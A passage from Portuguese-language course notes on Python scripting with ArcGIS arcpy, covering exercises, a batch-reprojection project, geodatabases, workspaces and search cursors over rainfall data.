Sobrenome, Nome Para fazer isso, você precisará encontrar a posição do espaço como antes. Para extrair parte de uma string, você pode especificar o caractere inicial e o caractere final entre colchetes após o nome da string, como mostrado a seguir: nome = "Joe Paterno" print (nome[4:11]) # imprime Paterno Uma coisa peculiar sobre essa sintaxe é que você precisa especificar o caractere final como 1 além do que você realmente deseja. O "o" em "Paterno" está realmente na posição 10, mas é necessário especificar um valor de 11. Um recurso útil da sintaxe é que você pode omitir o índice do caractere final se quiser tudo após o caractere inicial. Assim, nome[4:] retornará a mesma string como nome[4:11] neste exemplo. Da mesma forma, o caractere inicial pode ser omitido para obter tudo, desde o início da string até o caractere final especificado. Exercício 3: Converter pontuações em notas de letra Escreva um script que aceite uma pontuação de 1-100 como um parâmetro de entrada e, em seguida, relate o grau da letra correspondente a essa pontuação. Atribuir notas de letra da seguinte forma: 79 A:90-100 B:80-89 C:70-79 D:60-69 F:<60 Exercício 4: Criar cópias de um shapefile com base em um modelo Imagine que você esteja novamente trabalhando com os dados de precipitação da etapa 1 e que você queira criar cópias do arquivo shape PluTotalAnual pelos próximos 4 anos após 2018 (por exemplo, PluTotalAnual_2019, PluTotalAnual_2020, etc.). Essencialmente, você deseja copiar o esquema de atributos do shapefile inicial, mas não os próprios dados. Aqueles serão adicionados mais tarde. A ferramenta para automatizar esse tipo de operação é a ferramenta para criar classe de feições na caixa de ferramentas Gerenciamento de Dados (Create Feature Class - Data Management toolbox). Procure esta ferramenta no sistema de Ajuda e examine sua sintaxe e o script de exemplo. Observe o parâmetro opcional, que permite especificar uma classe de feições cujo esquema de atributo você deseja copiar. Para concluir este exercício, você deve invocar a ferramenta arcpy.CreateFeatureclass_management() dentro de um loop que fará com que a ferramenta seja executada uma vez para cada ano desejado. A função range(..) pode ser usada para produzir a lista de anos para o seu loop. Exercício 5: Recorte todas as classes de feições em um geodatabase Os dados para este exercício prático consistem em dois arquivos de geodatabases: O geodatabase FC.gdb contém diversas classes de feições. O geodatabase FC_Clip.gdb está vazio, exceto por uma classe de feições de limite de uma região para o recorte. Sua tarefa é escrever um script que recorte todas as classes de feições do geodatabase FC.gdb ao limite da região contida no geodatabese FC_Clip.gdb. As classes de feições recortadas devem ser gravadas no geodatabase FC_Clip.gdb. Anexe "Clip" ao final de todos os nomes de classes de feições cortados. Seu script deve ser flexível o suficiente para lidar com qualquer número de classes de feições no geodatabase de entrada. Por exemplo, se houver 15 classes de feições no geodatabase em vez de 3, seu código final não precisará ser alterado de nenhuma maneira. C:\SEA5923\Dados\FC\FC.gdb C:\SEA5923\Dados\FC\Resultados\FC_Clip.gdb.gdb 80 Projeto 2: Ferramenta para reprojetar conjuntos de dados vetoriais em lote (batch) Alguns órgãos que trabalham com SIG determinaram um único sistema de referência padrão para seus dados de origem. Os conjuntos de dados brutos, no entanto, podem ser obtidos de terceiros em outros sistemas de referência. Esses conjuntos de dados precisam então ser reprojetados para a projeção padrão. Reprojetar arquivos em lote, ou reprojetar muitos conjuntos de dados de uma só vez, é uma tarefa adequada para a criação de scripts. Neste projeto você irá praticar os fundamentos do Python escrevendo um script que reprojetará os conjuntos de dados vetoriais de uma pasta. A partir desse script, você criará uma ferramenta de script que pode ser facilmente compartilhada com outras pessoas. A ferramenta que você irá desenvolver deve se parecer com a figura abaixo. Ela possui dois parâmetros de entrada e nenhum parâmetro de saída. Os dois parâmetros de entrada são: • Uma pasta no disco contendo os conjuntos de dados vetoriais a serem reprojetados. • O caminho para um conjunto de dados vetoriais cuja referência espacial será usada como padrão. Por exemplo, se você quiser reprojetar SIRGAS2000 UTM Zona 23, você procuraria algum conjunto de dados vetoriais com este sistema de projeção. Este poderia ser um dos conjuntos de dados na pasta que você forneceu no primeiro parâmetro, ou poderia existir em outro lugar no disco. A ferramenta do Projeto 2 com dois parâmetros de entrada e nenhum parâmetro de saída A execução da ferramenta faz com que os conjuntos de dados reprojetados sejam colocados no disco na pasta de destino. Requisitos • É necessário reprojetar os conjuntos de dados vetoriais shapefile na pasta para corresponder à projeção do conjunto de dados escolhido como padrão. • Deve-se acrescentar "_projetado" ao final de cada nome de conjunto de dados reprojetado. Por exemplo: Rodovias_projetado.shp. • Deve-se pular quaisquer conjuntos de dados que já estejam na projeção padrão. • Deve relatar uma mensagem de geoprocessamento informando quais conjuntos de dados foram reprojetados. Nesta mensagem, os nomes dos conjuntos de dados podem ser separados por espaços. Na mensagem, não inclua conjuntos de dados que foram ignorados porque já estavam na projeção padrão. Esta deve ser uma única 81 mensagem, não uma mensagem por conjunto de dados reprojetado. Observe um exemplo desse tipo de mensagem personalizada abaixo na linha "Reprojetados...": Seu script deve relatar uma mensagem de geoprocessamento informando quais conjuntos de dados foram projetados • Não deve conter nenhum valor codificado diretamente no script, como nomes de conjunto de dados, nomes de caminho ou nomes de projeção. • Deve ser disponibilizado como uma ferramenta de script que pode ser facilmente executada a partir do ArcToolbox por alguém sem conhecimento de scripts. Esforços adicionais poderiam incluir o seguinte: • Sua mensagem de geoprocessamento de conjuntos de dados projetados contém vírgulas entre os nomes dos conjuntos de dados, sem nenhuma vírgula "final" no final. • A documentação de ajuda do painel lateral é fornecida para sua ferramenta de script. Isso significa que quando você abre a caixa de diálogo da ferramenta e clica em Mostrar Ajuda, as instruções para cada parâmetro aparecem ao lado. A Ajuda do ArcGIS Desktop pode te ensinar como fazer isso. • Sua ferramenta de script usa caminhos relativos ao arquivo .py e é facilmente implantada sem ter que "reorientar" a caixa de ferramentas para o script. Não vamos manipular transformações de datum neste script. Assume-se que cada conjunto de dados na pasta usa o mesmo datum, embora os conjuntos de dados possam estar em projeções diferentes. O tratamento de datum faria com que você tivesse que adicionar um parâmetro adicional na ferramenta. Dados para o projeto A pasta de dados contém um conjunto de shapefiles vetoriais para você trabalhar neste projeto e encontra-se no diretório c:\SEA5923\Dados\Shapefiles. Para o propósito deste projeto esses conjuntos de dados estão com os sistemas de referência GCS_Corrego_Alegre ou Corrego_Alegre_UTM_Zone_23S. Esses sistemas compartilham o mesmo datum (Córrego Alegre) para que você não tenha que lidar com transformações de datum. Os dados reprojetados devem ser salvos O conjunto de dados vetoriais cuja referência espacial será usada como padrão estará em C:\SEA5923\Dados\Shapefiles\Projetados. Esta classe de feições é um shapefile Bacia_Onca.shp com o sistema de referência Corrego_Alegre_UTM_Zone_23S. Este diretório também pode ser utilizado para armazenar os resultados. Entregas 82 Entregas para este projeto são as seguintes: O arquivo .py de origem contendo seu script O arquivo .tbx contendo sua ferramenta de script Um curto resumo (cerca de 300 palavras) descrevendo como você abordou o projeto, como você lidou com os obstáculos e com o que aprendeu ao longo da tarefa. Dicas As dicas a seguir podem ajudar a melhorar sua possibilidade de sucesso com este projeto: • Não use a ferramenta ESRI Batch Project neste projeto. Em essência, você é obrigado a fazer sua própria variação de uma ferramenta de projeção em lote neste projeto, executando a ferramenta Project dentro de um loop. Sua ferramenta será mais fácil de usar porque é personalizada para a tarefa em questão. • Existem várias maneiras de inserir "_projetado" no nome de um conjunto de dados, mas você pode achar útil começar removendo temporariamente a extensão ".shp" e adicioná-lo novamente mais tarde. Para fazer seu código funcionar tanto para um shapefile (que possui a extensão .shp) quanto para uma classe de feições em um geodatabase (que não possui a extensão .shp), você pode usar o seguinte: nomeOriginal = fc if nomeOriginal.endswith (".Shp"): nomeOriginal = nomeOriginal.replace (".Shp", "") No código acima, “fc” é o nome da sua classe de feições. Se for o nome de um shapefile, ele incluirá o .shp. A função replace procura por qualquer string ".shp" (o primeiro parâmetro) no nome do arquivo e a substitui por nada (simbolizado no segundo parâmetro por aspas vazias ""). Portanto, após executar este código, a variável “nomeOriginal” conterá o nome da classe de feições sem o ".shp". Como a função replace(..) não muda nada se a string dada como o primeiro parâmetro não ocorrer em fc, o código acima pode ser substituído por apenas uma única linha: nomeOriginal = fc.replace (".shp", "") Você também pode potencialmente cortar os últimos quatro caracteres usando algo como nomeOriginal = fc[: -4] mas os números de código diferentes de 0 ou 1 em seu script podem tornar o código menos legível para outra pessoa. Ver uma função como substituir é muito mais fácil para alguém interpretar do que ver -4 e tentar descobrir por que esse número foi escolhido. Portanto, você deve usar replace(..) em sua solução. • Para verificar se um conjunto de dados já está na projeção padrão, você precisará obter um objeto de Referência Espacial para cada conjunto de dados (o conjunto de dados a ser reprojetado e o conjunto de dados padrão). Você precisará comparar os nomes de referência espacial desses dois conjuntos de dados. Não deixe de comparar a propriedade Name das referências espaciais; não compare os próprios objetos de referência espacial. Isso ocorre porque você pode ter dois objetos de referência espacial que são entidades diferentes (e, portanto, "não iguais"), mas possuem a mesma propriedade de nome. Você deve acabar com uma linha semelhante a esta: 83 if fcSR.Name != srPadrao.Name: em que fcSR é a referência espacial da classe de feições a ser projetada e srPadrao é a referência espacial padrão obtida do arquivo indicado nos parâmetros da ferramenta. • Se você quiser mostrar todas as mensagens de cada execução da ferramenta Project, adicione a linha: arcpy.AddMessage (arcpy.GetMessages()) imediatamente após a linha na qual você executa a ferramenta Project. Cada vez que o loop é executado, ele adicionará as mensagens da execução atual da ferramenta Project na janela de resultados. Tem sido minha experiência que, se você esperar para adicionar esta linha até o final do seu script, você só receberá as mensagens da última execução da ferramenta, por isso é importante colocar a linha dentro do loop. Lembre-se de que, enquanto você escreve seu script pela primeira vez, é possível usar instruções de impressão para depuração e, em seguida, alternar para arcpy.AddMessage() quando verificar que o script funciona e está pronto para criar uma ferramenta de script. • Se você precisar de ajuda extra para criar a ferramenta de script, leia Zandbergen 13.1 - 13.10. • Se, após todos os seus esforços, você ficar sem tempo e não puder atender a um dos requisitos, comente no código que não está funcionando (usando um sinal # no início de cada linha) e envie o código mesmo assim. Em seguida, explique em sua breve descrição qual seção não está funcionando e quais problemas você encontrou. 84 Etapa 3: Acesso e manipulação de dados SIG com o Python Uma parte essencial de um SIG são os dados que representam a geometria (localizações) de feições geográficas e os atributos dessas feições. Essa combinação de feições e atributos é o que faz o SIG ser mais do que um simples "mapeamento". Muito do seu trabalho como um analista SIG envolve adicionar, modificar e excluir feições e seus atributos em um SIG. Além da manutenção os dados, você também precisa saber como consultar e selecionar dados mais importantes para seus projetos. Às vezes, você desejará consultar um conjunto de dados para localizar somente os registros que correspondem a um determinado critério (por exemplo, setores censitários com renda per capita abaixo de determinado valor) e calcular algumas estatísticas com base apenas nos registros selecionados (por exemplo, porcentagem desses setores com coleta de esgoto sanitário). Todas as tarefas acima de manutenção, consulta e estatística de dados podem se tornar tediosas e propensas a erros se executadas manualmente. O script em Python geralmente é uma maneira mais rápida e precisa de ler e gravar grandes quantidades de dados. Já existem muitas ferramentas para seleção e gerenciamento de dados no ArcToolbox. Qualquer uma dessas pode ser usada em um script Python. Para cenários mais personalizados em que você deseja ler uma tabela por conta própria e modificar registros um a um, o arquivo arcpy contém objetos especiais, chamados cursores, que você pode usar para examinar cada registro em uma tabela. Você verá rapidamente como a lógica de loop que você aprendeu na etapa 2 se torna útil quando você percorre tabelas usando cursores. Usar um script para trabalhar com seus dados apresenta algumas outras vantagens sutis sobre a entrada manual de dados. Por exemplo, em um script, você pode adicionar verificações para garantir que os dados inseridos estejam em conformidade com um determinado formato. Você também pode encadear várias etapas da lógica de seleção que seriam demoradas para serem executadas no ArcMap. Esta etapa explica maneiras de ler e gravar dados SIG usando o Python. Começaremos analisando como você pode criar e abrir conjuntos de dados em um script. Em seguida, praticaremos a leitura e a gravação de dados usando ferramentas de geoprocessamento e objetos de cursor. Embora isso seja mais aplicável a conjuntos de dados vetoriais, também veremos algumas maneiras de manipular rasters com o Python. Uma vez que você esteja familiarizado com esses conceitos, o Projeto 3 lhe dará a chance de praticar o que você aprendeu. Objetivos da etapa 3 No final desta etapa, você deve: • Entender o uso de diferentes tipos de workspaces (por exemplo, geodatabases) em Python • Ser capaz de usar cursores arcpy para ler e manipular dados de atributos de vetores (pesquisa de registros, atualização e exclusão) • Saber como construir strings de consulta SQL para realizar seleção por atributo com cursores ou MakeFeatureLayer 85 • Entender o conceito de layers, como as eles podem ser criados e como realizar a seleção por local com layers • Ser capaz de escrever scripts ArcGIS que resolvam tarefas comuns com dados vetoriais, combinando seleção por atributo, seleção por localização e manipulação de tabelas de atributos via cursores Armazenamento e recuperação de dados no ArcGIS Antes de entrar nos detalhes de como ler e modificar esses atributos, é útil revisar como os conjuntos de dados geográficos são armazenados no ArcGIS. Você precisa saber isso para poder abrir conjuntos de dados em seus scripts e, ocasionalmente, criar novos conjuntos de dados. Geodatabases Ao longo dos anos, a ESRI desenvolveu várias maneiras de armazenar dados espaciais. Eles incentivam você a colocar seus dados em bancos de dados geográficos, que são estruturas organizacionais para armazenar conjuntos de dados e definir relacionamentos entre esses conjuntos de dados. Diferentes tipos de geodatabase são oferecidos para armazenar diferentes magnitudes de dados. • Os geodatabases pessoais são uma forma pequena e quase obsoleta de geodatabase que armazena dados no sistema de arquivos local. Os dados são mantidos em um banco de dados do Microsoft Access, que limita a quantidade de dados que podem ser armazenados no geodatabase. • Os geodatabases de arquivo são uma maneira mais recente de armazenar dados no sistema de arquivos local. Os dados são armazenados em um formato proprietário desenvolvido pela ESRI. Um file geodatabase pode conter mais dados do que um personal geodatabase: até terabytes. • Os geodatabases ArcSDE ou "enterprise geodatabases" armazenam dados em um servidor central em um sistema de gerenciamento de banco de dados relacional (RDBMS), como SQL Server, Oracle ou PostgreSQL. Estes são grandes bancos de dados projetados para servir dados não apenas para um computador, mas para toda uma empresa. Como trabalhar com um RDBMS pode ser um trabalho em si, a ESRI desenvolveu o ArcSDE como um "middleware" que permite configurar e ler seus conjuntos de dados no ArcCatalog ou no ArcMap sem fazer uso software RDBMS. Para ações onde o ArcSDE é necessário, mas onde seria muito oneroso comprar e configurar um RDBMS corporativo, a ESRI desenvolveu uma versão menor de "workgroup" do ArcSDE que funciona com o banco de dados livre SQL Server Express. E que pode ser diretamente configurado no Arc Caalog ou na janela no ArcMap. Nos últimos anos, a ESRI também desenvolveu um novo recurso chamado “camadas de consulta” (query layers) , que permite extrair dados diretamente de um RDBMS usando consultas SQL, sem envolver o ArcSDE. Um único conjunto de dados vetoriais dentro de um geodatabase é chamado de classe de feições (Feature classes). As classes de feições podem ser organizadas opcionalmente 86 em conjuntos de dados de feições (Feature Datasets). Conjuntos de dados raster também podem ser armazenados em geodatabases. Conjuntos de dados independentes Embora os bancos de dados geográficos sejam essenciais para o armazenamento e a organização de dados a longo prazo, às vezes é conveniente acessar conjuntos de dados em um formato "independente" no sistema de arquivos local. O shapefile da ESRI é provavelmente o formato de dados vetoriais mais onipresente e autônomo. Um shapefile na verdade consiste em vários arquivos que trabalham juntos para armazenar geometrias e atributos vetoriais. Todos os arquivos têm o mesmo nome raiz, mas usam extensões diferentes. Você pode compactar os arquivos juntos e enviá-los por e-mail facilmente ou publicá-los em uma pasta para download. Nos navegadores de arquivos ESRI no ArcCatalog ou no ArcMap, os shapefiles aparecem apenas como um arquivo. Nota: Às vezes, na documentação da ESRI shapefiles também são chamados de "classes de feições". Quando você vê o termo "classe de feições", considere que isso significa um conjunto de dados vetoriais que pode ser usado no ArcGIS. Outro tipo de conjunto de dados independente que remonta aos primórdios do ArcGIS é a coverage do ArcInfo. Como o shapefile, a coverage consiste em vários arquivos que funcionam juntos. As coverages estão se tornando cada vez mais raras, mas você pode encontrá-las se sua organização tiver usado (ou ainda usar!) Workstagion ArcInfo. Conjuntos de dados raster também são frequentemente armazenados em formato independente, em vez de serem carregados em um geodatabase. Um conjunto de dados rasterizados pode ser um único arquivo, como JPEG ou TIFF, ou, como um shapefile, pode consistir em vários arquivos que funcionam juntos. Fornecendo caminhos em scripts do Python Muitas vezes, em um script, você precisará fornecer o caminho para um conjunto de dados. Conhecer a sintaxe para especificar o caminho às vezes é um desafio por causa das muitas maneiras diferentes de armazenar os dados listados acima. Por exemplo, abaixo está um exemplo de como um arquivo geodatabase se parece se você simplesmente navega pelo sistema de arquivos do Windows Explorer. Como você especifica o caminho para o conjunto de dados necessário? Esse mesmo desafio pode ocorrer com um shapefile, que, embora tenha um nome mais intuitivo, possui três ou mais arquivos participantes. Um file geodatabese conforme visualizado pelo sistema de arquivos do Windows Explorer A maneira mais segura de obter os caminhos que você precisa é navegar até o conjunto de dados no ArcCatalog e pegar o caminho que aparece na barra de ferramentas Localização. Aqui está o mesmo arquivo geodatabase seria semelhante no ArcCatalog. O 87 caminho destacado mostra como você se referiria a uma classe de feições dentro do geodatabase. O mesmo arquivo geodatabase, mostrado no ArcCatalog Abaixo está um exemplo de como você pode acessar a classe de feições em um script Python usando esse caminho. Isso é semelhante a um dos exemplos da etapa. import arcpy featureClass = "C:\\SEA5923\\Dados\\BaseDados.gdb\\Limite" desc = arcpy.Describe(featureClass) spatialRef = desc.SpatialReference print (spatialRef.Name) Lembre-se de que a barra invertida (\) é um caractere reservado em Python, portanto, será necessário usar a barra invertida dupla (\\) ou barra (/) no caminho. Outra técnica que você pode usar para caminhos é a string raw, que permite colocar barras invertidas e outros caracteres reservados em sua string, desde que você coloque "r" antes de suas aspas. featureClass = r "C:\SEA5923\Dados\BaseDados.gdb\Limite" Workspaces (local de trabalho) A estrutura de geoprocessamento da ESRI geralmente usa a noção de um local de trabalho para indicar a pasta ou o geodatabase onde você está trabalhando atualmente. Quando você especifica um local de trabalho em seu script, não é necessário listar o caminho completo para cada conjunto de dados. Quando você executa uma ferramenta, o geoprocessador vê o nome da classe de feição e assume que ele reside no local de trabalho que você especificou. Os locais de trabalho são especialmente úteis para processamento em lote, quando você executa a mesma ação em muitos conjuntos de dados no local de trabalho. Por exemplo, você pode querer recortar todas as classes de feições em uma pasta para o limite da região de interesse. O fluxo de trabalho para isso é: • Definir um local de trabalho. • Crie uma lista de classes de feições para o local de trabalho. • Definir uma feição de recorte. • Configurar um loop para ser executado em cada classe de feições na lista. • Dentro do loop, executar a ferramenta Clip. 88 Aqui está um código que filtra cada classe de feição em um arquivo geodatabase para o limite de estado do Alabama e coloca a saída em um arquivo geodatabase diferente. Observe como as cinco linhas de código após a importação correspondem às cinco etapas listadas acima. import arcpy arcpy.env.workspace = "C:\\SEA5923\\Dados\\FC\\FC.gdb" featureClassList = arcpy.ListFeatureClasses() clipFC = " C:\\SEA5923\\Dados\\FC\\Resultados\\FC_Clip.gdb\\Consorcio_mun" for fc in fcList: arcpy.Clip_analysis(fc, clipFC, "C:\\SEA5923\\Dados\\FC\\Resultados\\FC_Clip.gdb" + fc) No exemplo acima, o método arcpy.ListFeatureClasses() foi a chave para fazer a lista. Esse método examina um local de trabalho e cria uma lista Python de cada classe de feições nesse local de trabalho. Depois de ter essa lista, você pode configurar facilmente um loop para agir em cada item. Observe que você designou o caminho para o espaço de trabalho usando o local do arquivo geodatabase. Se você estivesse trabalhando com shapefiles, usaria apenas o caminho para a pasta como o local de trabalho. Se você estivesse trabalhando com o ArcSDE, usaria o caminho para o arquivo de conexão .sde ao criar seu local de trabalho. Este é um arquivo que é criado quando você se conecta ao ArcSDE no ArcCatalog e é colocado em seu diretório de perfil local. Nós não estaremos acessando os dados em ArcSDE neste curso. Lendo dados de atributos de vetores Agora que você sabe como abrir um conjunto de dados, vamos um pouco além e começaremos a examinar alguns registros de dados individuais. Esta seção da lição discute como ler e pesquisar tabelas de atributos. Essas tabelas geralmente fornecem os atributos para feições vetoriais, mas também podem ser independentes em alguns casos. A próxima sessão abordará como gravar dados nestas tabelas. No final da lição, vamos trabalhar com os dados rasters. À medida que trabalhamos com os dados, será útil acompanhar, copiando e colando o código de exemplo nos scripts de prática. Ao longo da aula, você encontrará exercícios que você pode praticar o que acabou de aprender. Você não é obrigado a entregar esses exercícios, mas se você os completar, você terá uma maior familiaridade com o código que será útil quando você começar a trabalhar no projeto desta etapa. É impossível ler um livro ou uma lição e logo depois já escrever um código perfeito. Muito do que você aprende vem através de tentativa e erro e do aprendizado que você faz disso. Portanto, é aconselhável escrever códigos com frequência. 89 Acessando campos da tabela de atributos Antes de nos aprofundarmos no acesso a dados vetoriais, será útil revisar rapidamente como os dados vetoriais são armazenados no software. As feições de vetor nas classes de feições do ArcGIS (usando este termo para incluir shapefiles) são armazenados em uma tabela. A tabela possui linhas (registros) e colunas (campos). Campos da tabela de atributos Os campos na tabela armazenam as informações de geometria e atributos para as feições. Existem dois campos na tabela que você não pode excluir. Um dos campos (geralmente chamado de Shape) contém as informações de geometria para as feições. Isso inclui as coordenadas de cada vértice da feição e permite que ela seja desenhada na tela. A geometria é armazenada em formato binário; se você fosse vê-lo impresso na tela, não faria sentido para você. No entanto, você pode ler e trabalhar com as geometrias usando objetos que são fornecidos com o arcpy. O outro campo incluído em cada classe de feições é um campo de ID de objeto (OBJECTID ou FID). Contém um número único ou identificador para cada registro que é usado pelo ArcGIS para rastrear as feições. O ID do objeto ajuda a evitar confusão ao trabalhar com dados. Às vezes, os registros possuem os mesmos atributos. Por exemplo, São Paulo e São Carlos podem ter um atributo Estado = "SP" ou um conjunto de dados de cidades no Brasil pode mais de uma cidade com o atributo NOME = "São Carlos". no entanto, o campo OBJECTID nunca pode ter o mesmo valor para dois registros. O restante dos campos contém informações sobre atributos que descrevem a feição. Esses atributos geralmente são armazenados como números ou texto. Descobrindo os nomes dos campos Quando você escreve um script, você precisa fornecer os nomes dos campos específicos que deseja ler ou escrever. Você pode obter uma lista Python de nomes de campos usando arcpy.ListFields(). # Lendo os nomes dos campos da tabela de atributos de uma FC import arcpy featureClass = "C:\SEA5923\Dados\BaseDados.gdb\Municipios" fieldList = arcpy.ListFields(featureClass) # Percorrendo a lista de campos da TA e escrevendo o nome de cada campo for field in fieldList: print (field.name) O texto acima produziria uma lista dos campos da classe de feições Cidades em um arquivo geodatabase chamado USA.gdb. Se você executou este script no PythonWin (experimente com outras classes de feições!), você verá algo como o seguinte na Janela Interativa. >>> OBJECTID Shape GEOCODIGO NOME UF REGIAO MESOREGIAO AREA_KM² 90 Shape_Length Shape_Area Observe os dois campos especiais sobre os quais já falamos: “OBJECTID”, que contém o número de identificação exclusivo de cada registro, e “Shape”, que contém a geometria do registro. Além disso, essa classe de feições possui campos que contêm o nome (NOME), o estado (UF), o geocódigo do IBGE (GEOCODIGO) e assim por diante. arcpy trata o campo como um objeto, portanto, Field tem propriedades que o descrevem. É por isso que você pode imprimir field.name. O tópico de referência de ajuda Usando campos e índices (http://desktop.arcgis.com/en/arcmap/latest/analyze/python/fields- and-indexes.htm) lista todas as propriedades que você pode ler em um campo. Estes incluem AliasName, Lenght, Type, Scale, e outros. As propriedades de um campo são somente leitura, o que significa que você pode descobrir quais são as propriedades do campo, mas não é possível alterar essas propriedades em um script usando o objeto Field. Se você quisesse alterar a escala e a precisão de um campo, por exemplo, teria que adicionar programaticamente um novo campo. Leitura através dos registros Agora que você sabe pesquisar a tabela horizontalmente, lendo os campos que estão disponíveis, vamos examinar como ler, verticalmente, para cima e para baixo nos registros da tabela. O cursor de pesquisa (search cursor) O módulo arcpy contém alguns objetos chamados cursores que permitem que você percorra os registros em uma tabela. Cursores não são exclusivos em script para o ArcGIS; de fato, se você trabalhou com ArcObjects antes, este conceito de cursor provavelmente é familiar para você. Algumas alterações foram implementadas em como os cursores podem ser usados nas diferentes versões do ArcGIS. Como versões mais antigas ainda estão sendo amplamente usadas, primeiro ilustramos o uso de cursores de uma maneira que funciona tanto para versões antigas como novas do ArcGIS. Em seguida, descrevemos as alterações introduzidas nas versões 10.0 e superiores, que tornam o uso de cursores mais fácil, mais robusto e exigem menos código. Nos exemplos restantes do curso, sempre começaremos com uma versão para 10. ou superior. O primeiro código que analisaremos é com o cursor de pesquisa, já que foi projetado para uma leitura simples de dados. Vamos começar com o uso tradicional do cursor de pesquisa usado principalmente em versões anteriores do ArcGIS (e ainda trabalhando hoje para pessoas que estão reutilizando código antigo). Embora você venha a aprender que esse código é mais detalhado do que o que você usa nas versões mais recentes do ArcGIS, ele fornece uma compreensão mais fundamental do que o cursor de pesquisa está fazendo. O fluxo de trabalho comum é: • Crie o cursor de pesquisa. Isso é feito através do método arcpy.SearchCursor(). Esse método usa vários parâmetros nos quais você especifica qual conjunto de dados e, como opção, quais linhas específicas deseja ler. 91 • Use o código SearchCursor.next() para ler a primeira linha. • Inicie um loop que sairá quando não houver mais linhas disponíveis para leitura. • Faça algo com os valores na linha atual. • Use o código SearchCursor.next() para ir para a próxima linha. Como você criou um loop, isso o coloca de volta na etapa anterior, se houver outra linha disponível para leitura. Se não houver mais linhas, a condição de loop não será atendida e o loop será finalizado. Quando você tenta primeiro entender os cursores, pode ajudar a visualizar a tabela de atributos com uma seta apontando para a "linha atual". Quando o cursor é criado pela primeira vez, essa seta está apontando logo acima da primeira linha da tabela. Na primeira vez que o método next() é chamado, a seta se move para a primeira linha (e retorna uma referência a essa linha). Cada vez que next() é chamado, a seta desce uma linha. Se next() for chamado quando a seta estiver apontando para a última linha, um tipo de dado especial chamado None será retornado. Aqui está um exemplo muito simples de um cursor de pesquisa que lê um conjunto de dados de pontos que correspondem aos postos pluviométricos e imprime o nome de cada um deles. # Imprime o nome de cada feature class import arcpy featureClass = "C:\\SEA5923\\Dados\\Plu_Total_Anual.shp" linhas = arcpy.SearchCursor(featureClass) linha = linhas.next() while linha: print (linha.NAME) linha = linhas.next() As últimas cinco linhas do script acima correspondem às cinco etapas do fluxo de trabalho acima. Cursores podem ser difíceis de entender no início, então vamos olhar para essas linhas mais de perto. Abaixo estão as cinco linhas novamente com comentários para que você possa ver exatamente o que está acontecendo: # Imprime o nome de cada feature class import arcpy featureClass = "C:\\SEA5923\\Dados\\Plu_Total_Anual.shp" # Cria o cursor de pesquisa linhas = arcpy.SearchCursor(featureClass) # Usa o searchCursor.next() para ler a primeira linha linha = linhas.next() # Inicia o loop que irá terminar quando não tivermos mais linhas while linha: # Faz alguma coisa com o valor da linha atual print (linha.Nome) # Usa o searchCursor.next() para mover para a próxima linha linha = linhas.next() Observe algumas outras coisas importantes antes de prosseguir: • A condição de loop "while row:" é uma maneira booleana simples de especificar se o loop deve continuar. Se um objeto de linha existir, a instrução será avaliada como verdadeira e o loop continuará. Se um objeto de linha não existir, a instrução será avaliada como falsa e o loop será finalizado. 92 • Você pode ler um valor de campo como uma propriedade de uma linha. Por exemplo, linha.Nome forneceu o valor no campo Nome. Se sua tabela tivesse um campo Codigo, você poderia usar linha.Codigo para obter o código. • Os nomes "linhas" e "linha" são apenas nomes de variáveis que representam os objetos SearchCursor e Row, respectivamente. Nós poderíamos nomear com qualquer termo. Os exemplos ESRI tendem a nomeá-los como Rows e Row, e faremos o mesmo. No entanto, se você precisasse usar dois cursores de pesquisa ao mesmo tempo, teria que criar alguns nomes adicionais. Aqui está outro exemplo em que algo mais complexo é feito com os valores da linha. Este script encontra a precipitação média em um conjunto de dados. Para encontrar a média, você precisa dividir a precipitação total pelo número de postos pluviométricos. O código abaixo percorre cada registro e mantém um total da precipitação e o número de registros contados. Uma vez que todos os registros foram lidos, apenas uma linha de divisão é necessária para encontrar a média. # Encontra a precipitação média em um conjunto de postos pluviométricos import arcpy postosPlu = "C:\\SEA5923\\Dados\\Plu_Total_Anual.shp" linhas = arcpy.SearchCursor(postosPlu) linha = linhas.next() media = 0 precipitacaoTotal = 0 contador = 0 # Loop pelos registros e cálculo do total precipitado e contador while linha: precipitacaoTotal += linha.Total_2018 contador += 1 linha = linhas.next() media = precipitacaoTotal / contador print ("Média da precipitação " + str(media)) Embora o script acima seja maior do que o primeiro, ele ainda segue o padrão geral de criação de um cursor de pesquisa, avançando para a primeira linha, fazendo algo com a linha e repetindo o processo até que não haja registros restantes. Lendo valores quando o nome do campo é uma variável No script anterior, a precipitação de um registro era referenciada como linha.Total_2018, em que o nome do campo de precipitação é Total_2018. Esta é uma maneira muito fácil de obter um valor de campo, mas o que acontece se você quiser obter dados para 2019 em um campo chamado Total_2019 e quiser executar o script novamente? E se você tiver muitos scripts longos que sempre fazem referência ao campo precipitação dessa maneira? Você teria que pesquisar cuidadosamente cada script para linha.Total_2018 e substituí-lo por linha.Total_2019 . Isso pode ser tedioso e propenso a erros. Você pode tornar seus scripts mais versáteis usando variáveis para representar nomes de campos. Você pode declarar uma variável, como campoPrecipitacao, para fazer referência ao nome do campo da precipitação, seja Total_2018, Total_2019 ou simplesmente PRECIPITACAO. O interpretador Python não irá reconhecer linha.campoPrecipitacao, então você precisa usar linha.getValue() e passar a variável como um parâmetro. 93 O script abaixo usa um nome de variável para obter a precipitação de cada registro. As linhas alteradas do script acima têm um comentário acima delas "# Esta linha abaixo é nova". Observe como uma variável denominada campoPrecpitacao é criada e o método chama linha.getValue(campoPrecpitacao)que recupera a precipitação de cada registro. # Encontra a precipitação média em um conjunto de postos pluviométricos import arcpy postosPlu = "C:\\SEA5923\\Dados\\Plu_Total_Anual.shp" # Esta linha abaixo é nova campoPrecipitacao = "Total_2018" linhas = arcpy.SearchCursor(postosPlu) linha = linhas.next() media = 0 precipitacaoTotal = 0 contador = 0 # Loop pelos registros e cálculo do total precipitado e contador while linha: # Esta linha abaixo é nova precipitacaoTotal += linha.getValue(campoPrecipitacao) contador += 1 linha = linhas.next() media = precipitacaoTotal / contador print ("Média da precipitação " + str(media)) Para atualizar o script acima, você teria que definir campoPrecipitacao = "Total_2019" próximo ao topo do script. Isso é certamente mais fácil do que pesquisar no corpo do script para linha.Total_2018 ; no entanto, você pode ir além e permitir que o usuário insira qualquer nome de campo que ele queira como argumento ao executar o script. Lembre-se na etapa 1 como você aprendeu que o arcpy.GetParameterAsText() permite que o usuário do script forneça um valor para a variável. Usar essa técnica para o caminho da classe de feição e o nome do campo de precipitação torna o script muito flexível. Observe que o código abaixo não contém nomes de caminhos codificados, nomes de campos ou números além de 0 e 1. Isso significa que você pode executar o script com qualquer classe de feições contendo qualquer nome para seu campo de precipitação sem modificar o código. Na verdade, você pode usar código semelhante a esse para encontrar a média de qualquer campo numérico. # 